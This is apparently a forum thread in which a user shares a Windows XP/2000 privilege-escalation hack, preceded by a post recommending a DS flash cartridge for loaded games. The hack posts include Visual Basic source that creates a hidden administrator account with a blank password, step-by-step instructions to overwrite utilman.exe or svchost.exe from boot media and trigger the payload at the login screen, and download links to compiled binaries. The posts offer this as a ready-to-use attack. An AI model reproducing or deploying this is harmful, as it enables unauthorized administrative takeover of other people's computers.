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  1. Honestly I'd get a "DSTwo SuperCard" for your Nintendo DS or DSi/XL. It's very simple to use and you can load all the games or homebrew you want onto it. Just do a simple google/youtube search. You can purchase them from www(dot)modchipcentral(dot)com (moderator feel free to edit that out if links aren't allowed)... Anyway it looks like a normal Game Cartridge but it holds a MicroSD Card and comes with a USB MicroSD adapter so you can easily transfer your homebrew or games. I have at least 100 DS Games loaded onto a single 8GB MicroSD Card using the DSTWo. All in all they're pretty sweet, plug and play, and easy to use (even for kids)... -Cell review w/ tons of pics: http://gbatemp.net/t232281-supercard-dstwo-review
  2. Ok so i stayed up for a bit and found out that i can get it to work for vista. I like it a lot better now. Im gonna be updating this more often now days because i finally got a new computer and can start "hackin" again. Well anyways here the newest Administrative/System Access Program. Renamed from utilman.exe to MagniFy.exe There's instructions in the ZIP file and also the VB source. Any questions or comments let me know. Download Link: http://dc117.2shared.com/download/4673450/...104749-183cb98d
  3. Im donig a little work on this, so far ive tested it and "MagniFy", (i guess thats what im gonna call it), works with SP3 Im about to do a test with vista. Ill let ya'll know how it goes and also post a link for a EXE of Utilman.exe (actually changed to Magnify.exe) -Cell Toolz
  4. LOL, Its been so long since i started this thread... I just cant believe its still going. And by the way, im still stoned HAHAHA......... We still need to find a way to gain access while logged in as Guest or a Lower Privileged User. The only way i could think of doing so is by exploiting a System Process that already has Administrator or System Level Privileges. Or I've heard that the Windows API is a very exploitable place but thats all I'm gonna say cause we just cant give out all our secrets now can we?. B)
  5. Yes if you use the windows xp recovery console it asks for a password but if you use the Windows 2000 recovery console it doesnt :)
  6. Ok so i scrapped utilman.exe and used svchost.exe instead. Also instead of using a Windows 2000 CD to replace the file ive used Windows Live (found via not here... lol but somewhere).. I used VC++ to write the script. It can be found at http://www.megaupload.com/?d=54KLN5CX If you dont know how to compile it the Exe is in the Debug folder, its called HackXP.exe if your unsure. Warning: this is only a beta it only works if your windows folders is called windows not winnt (Ill work this out later), and it has to be C: as the main drive. Anyways.. Get access to C: partition Create C:user.txt in user.txt put Username:Password Navigate to C:windowssystem32 rename svchost.exe to svchostnew.exe MUST DO copy HackXP.exe to C:windowssystem32 rename HackXP.exe to svchost.exe Restart Computer After it starts it will create a new user and the computer will automatically restart. This is because svchost was not properly loaded and after the restart the original is backed up. Its hard to explain but it should work. so this is what i have: C:user.txt <--> NewAdmin:Hacked <--> Username = NewAdmin Password = Hacked C:windowssystem32svchostnew.exe <--> original microsoft svchost.exe C:windowssystem32svchost.exe <--> HackXP When you start your computer it creates a new user and backs up the original ms svchost.exe using svchostnew.exe so no need to worry. Then it restarts so svchost can correctly run. Post if you need any help... There should be more to come
  7. Utilman is a alright way of doing this but it can be disabled or not work 100% of the time. So ive been trying other processes and just got it to work using SVCHOST.exe this program is launched as system at the startup and ive already successfully used it to create an admin account. Ill be posting more about this later today..
  8. Try replacing utilman.exe in Safe mode or using the Windows2000 Recovery Console (This is the best method) to replace it. I hope you figure this out. I think WFP is blocking something because its not signed by microsoft. Hmmmm Not sure whats happening, please post if your having any more problems. Look at Taskmgr and see if its opening up as your username or system
  9. I like the shatter attack.. Sounds very interesting, something that im gonna look more into for sure. There must be thousounds of ways to gain system privileges from another process. LoL good one again at MS
  10. Here the compiled version of the code - http://www.project420.web1000.com/utilman.exe ive never used switchblade im checkin it out right now. i like the way you did the backup but i think you can use Windows File Protection to back it up if it ever gets lost... i know its there somewhere
  11. Yes make sure to always make backups... Forgot to mention that one. Its not really that important of a file though. All it is, is a program to launch the On Screen Keyboard, Narrator, and Magnifier. Not really a must have file but it would be a good idea to overwrite with the original one after your done cause you dont want everyone to have access to your computer just by pushing Windows Key + U :) Happy Hackin Cell Toolz
  12. hold CTRL and ALT and DOUBLE TAP the DEL key....... I didnt know about that, lol.. wish i did on some of the slower machine i did this too.. Thanks for the reply thats really usefull
  13. OK Here it is, Please post some input on what you think. Also im trying to figure out a better way to gain Access to the NTFS partition. Any input welcomed! Gain SYSTEM/Administrative Access to Windows XP/2000 I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this to work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive. (Im stoned and its 3:15a.m. so i hope this makes sense) Overview: Windows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is located at C:Windowssystem32utilman.exe for windows XP and C:WINNTSystem32utilman.exe for windows 2000. So all you have to do is make your own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work. If the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this will take a few minutes depending on how fast the PC is. First We need to make the program I used Visual Basic 6, here is my source code that i used to create the administrative account: #################################START############################### Private Sub Form_Load() Shell "net user NewAdmin " & """""" & " /add", vbHide Pause (1) Shell "net localgroup administrators NewAdmin /add", vbHide Pause (1) msgbox "Added Administrative User",16,"Hacked XP" End End Sub Sub Pause(interval) 'Pauses execution Current = Timer Do While Timer - Current < Val(interval) DoEvents Loop End Sub '#################################END############################### Compile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank password and then adds them to the Administrators Group. Ok Now that we've made the program lets move on... FAT32 1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe 2. Add the newly made Utilman.exe to the Floppy 3. Restart the computer with the floppy in it 4. After DOS loads type C: and press enter. 5. If it changes from A:/> to C:/> then your doing good 6. use this command: Copy A:utilman.exe C:windowssystem32utilman.exe press Y to overwrite the exsisting file 7. Restart the computer without the floppy in it 8. When it gets to the Login Screen Press the Windows Key + U 9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10 9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your PC. 10. After pressing <b>Windows Key + U</b> then type in the username NewAdmin and push Enter. Thats It you now have administrative access to your PC. NTFS Use a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt) LOL i hope that made sense
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